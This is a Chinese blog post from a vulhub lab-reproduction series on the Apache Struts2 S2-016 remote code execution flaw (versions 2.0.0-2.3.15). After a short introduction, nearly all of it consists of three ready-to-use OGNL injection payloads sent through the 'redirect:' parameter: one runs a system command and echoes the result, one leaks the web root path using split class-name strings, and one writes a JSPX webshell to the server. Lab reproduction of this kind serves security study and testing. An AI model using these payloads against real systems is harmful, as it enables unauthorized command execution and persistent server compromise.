S2-016 远程代码执行漏洞

最新推荐文章于 2024-02-20 22:08:59 发布

小白萝卜

最新推荐文章于 2024-02-20 22:08:59 发布

阅读量603

点赞数 1

分类专栏： vulhub漏洞复现文章标签： struts2

本文链接：https://blog.csdn.net/EC_Carrot/article/details/119567040

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

本文详细介绍了Struts2的S2-016漏洞，影响版本为2.0.0-2.3.15。通过访问特定URL，攻击者可以执行OGNL表达式，实现命令执行、获取Web目录和写入Webshell。示例中展示了如何利用漏洞下载文件、获取Web路径以及写入恶意脚本。了解此漏洞对于提升Web安全防御至关重要。

摘要由CSDN通过智能技术生成

漏洞简介

影响版本: 2.0.0 - 2.3.15
详细请看：https://github.com/vulhub/vulhub/blob/master/struts2/s2-016/README.zh-cn.md

漏洞复现

访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式：
执行命令：

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec(“id”).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

传入后会让你下载action文件，文件内容既是回显：
在这里插入图片描述

获取web目录：

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

写入webshell：

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}